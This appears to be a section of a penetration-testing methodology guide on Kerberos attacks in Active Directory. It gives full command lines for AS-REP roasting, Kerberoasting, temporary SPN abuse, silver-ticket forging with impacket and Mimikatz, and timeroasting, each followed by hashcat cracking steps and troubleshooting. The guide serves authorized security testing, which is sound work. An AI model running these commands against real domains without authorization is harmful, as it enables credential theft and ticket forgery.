9.6.3 Kerberos and Identity Transitions

9.6.3.3.1 Why AS-REP roasting works

Ordinary Kerberos preauthentication makes the user prove knowledge of the long-term key before the KDC returns AS-REP material. If the account has DONT_REQUIRE_PREAUTH, an unauthenticated requester can ask for an AS-REP whose encrypted component can be tested offline against password candidates.

KNOWN USERNAME + PREAUTH DISABLED + KDC REACHABLE
-> AS-REP CIPHER
-> OFFLINE GUESSING
-> PASSWORD ONLY IF A CANDIDATE VERIFIES

9.6.3.3.2 Request an AS-REP for a known user without preauthentication One known user, no password

impacket-GetNPUsers 'DOMAIN/TARGET_USER' -no-pass -request \
  -dc-ip DC_IP -outputfile asrep-TARGET_USER.hashes

9.6.3.3.3 Check supplied account names for AS-REP recovery conditions Supplied user list, no password

impacket-GetNPUsers 'DOMAIN/' -no-pass -request -usersfile users.txt \
  -dc-ip DC_IP -outputfile asrep.hashes

9.6.3.3.4 Find AS-REP candidates through authenticated directory queries Authenticated directory-backed discovery

impacket-GetNPUsers 'DOMAIN/USER' -request \
  -dc-ip DC_IP -outputfile asrep.hashes

Omitting the password from the target lets the tool prompt rather than storing it in shell history.

9.6.3.3.5 Request selected Kerberos material from Windows with Rubeus Windows/Rubeus alternative

Rubeus.exe asreproast /user:TARGET_USER /domain:DOMAIN /dc:DC_HOST /outfile:asrep.hashes /format:hashcat

9.6.3.3.6 Interpret before cracking

hashcat -m 18200 asrep.hashes wordlist.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 18200 asrep.hashes --show

Do not call the account compromised because a hash was captured. Only a verified offline candidate produces a password, and that password still needs identity/access mapping.

9.6.3.4.1 Why Kerberoasting works

Any valid domain identity can normally request a service ticket for an SPN. The ticket is encrypted with key material belonging to the SPN account, allowing offline password guessing.

VALID DOMAIN IDENTITY + SPN ACCOUNT + KDC ROUTE
-> TGS-REP CIPHER
-> OFFLINE GUESSING
-> SERVICE-ACCOUNT PASSWORD IF A CANDIDATE VERIFIES

Rank SPN accounts before requesting tickets: group/ACL value, service/host, account type, password age, enabled state and resulting access matter more than collecting every ticket.

9.6.3.4.2 Enumerate without requesting tickets

impacket-GetUserSPNs -dc-ip DC_IP 'DOMAIN/USER'

Rubeus.exe kerberoast /stats /domain:DOMAIN /dc:DC_HOST

9.6.3.4.3 Request one selected user

impacket-GetUserSPNs -request-user TARGET_USER -dc-ip DC_IP \
  -outputfile kerberoast-TARGET_USER.hashes 'DOMAIN/USER'

Rubeus.exe kerberoast /user:TARGET_USER /domain:DOMAIN /dc:DC_HOST /outfile:kerberoast.hashes

impacket-GetUserSPNs -request -dc-ip DC_IP \
  -outputfile kerberoast.hashes 'DOMAIN/USER'

Rubeus.exe kerberoast /domain:DOMAIN /dc:DC_HOST /outfile:kerberoast.hashes

9.6.3.4.4 Select the recovery format that matches the returned Kerberos artifact Hash type and cracking

hashcat -m 13100 kerberoast.hashes wordlist.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 19600 kerberoast-aes128.hashes wordlist.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 19700 kerberoast-aes256.hashes wordlist.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m MODE HASH_FILE --show

Select the mode from the actual prefix and current hashcat --example-hashes; do not assume every TGS is RC4. AES material is still an offline verifier but generally costs more per guess. Cracking feasibility is governed mainly by password strength and candidates, not merely ticket acquisition.

9.6.3.4.5 Common failures

• no SPNs returned: wrong domain/base/authentication context, filtering or no user SPNs;
• KDC_ERR_S_PRINCIPAL_UNKNOWN: SPN is absent/malformed or queried in the wrong realm;
• KDC_ERR_ETYPE_NOSUPP: requested cipher conflicts with account/domain policy;
• output wraps or fails to load: save directly to an output file and verify prefix/line integrity;
• crack exhausts candidates: password not represented by the tested model; the account is not therefore “secure.”

If Block 10 proved effective write access to a user object's servicePrincipalName, an SPN can be temporarily added, requested and removed. This is a state-changing directory attack and must preserve original state.

Built-in SPN operations:

setspn -L TARGET_USER
setspn -S temporary/TARGET_USER TARGET_USER

Request only that account:

impacket-GetUserSPNs -request-user TARGET_USER -dc-ip DC_IP \
  -outputfile targeted-TARGET_USER.hashes 'DOMAIN/USER'

Cleanup:

setspn -D temporary/TARGET_USER TARGET_USER
setspn -L TARGET_USER

The controlled right must apply to the SPN attribute, -S must not collide with an existing SPN, and cleanup is part of the procedure. A recovered password is still validated and mapped as a new identity.

Prerequisite: key/hash of the account encrypting the target SPN's tickets, domain SID, exact SPN/service/host, a plausible existing domain identity and compatible target-service validation behavior.

Linux/Impacket:

impacket-ticketer -nthash SERVICE_NT_HASH -domain-sid DOMAIN_SID \
  -domain DOMAIN -spn cifs/TARGET_HOST AUTHORIZED_TEST_USER
export KRB5CCNAME="$PWD/AUTHORIZED_TEST_USER.ccache"
klist

Windows/Mimikatz:

kerberos::golden /sid:DOMAIN_SID /domain:DOMAIN /target:TARGET_HOST /service:cifs /rc4:SERVICE_NT_HASH /user:AUTHORIZED_TEST_USER /ptt

Despite the Mimikatz module name, supplying a service/target key produces a silver/service ticket, not a krbtgt-signed TGT.

Important boundaries:

• the key must belong to the account that owns the SPN; machine-account keys commonly protect host services;
• the ticket is limited to the named service/host and whichever services share the same account key;
• current PAC enforcement means using a nonexistent identity can fail; use a real authorized test identity and validate behavior;
• a service may perform KDC/PAC validation or additional authorization;
• a successfully imported ticket is not successful service access.

Golden tickets require the KRBTGT key and domain SID and create a forged TGT. They are a high-impact persistence concept covered in the conditional domain-compromise section, not a default Block 11 action.

Use when the DC exposes UDP/123 and Windows authenticated NTP responses are available for computer/trust-account RIDs. This is separate from Kerberos roasting and does not require a domain password. Prefer a known computer RID; the example range is bounded discovery, not a completeness guarantee.

python3 timeroast.py DC_IP --rids 1000-1100 --rate 10 --timeout 5 -o timeroast.txt
hashcat -m 31300 --username timeroast.txt WORDLIST
hashcat -m 31300 --username timeroast.txt --show

Read: output resembles RID:$sntp-ms$... and is a response-derived offline verifier, not a reusable NT hash. Map any recovered RID to the exact computer/trust identity before testing its password on one relevant service. Normally rotated random machine passwords are not practical dictionary candidates. No reply can mean filtering, unsupported behavior, nonexistent RIDs or packet loss. Do not infer no AD accounts or switch blindly to an unbounded RID sweep. The source's NetExec module is an alternative wrapper; inspect its installed options because its default RID sweep is very broad.

Sources: upstream 1 · upstream 2.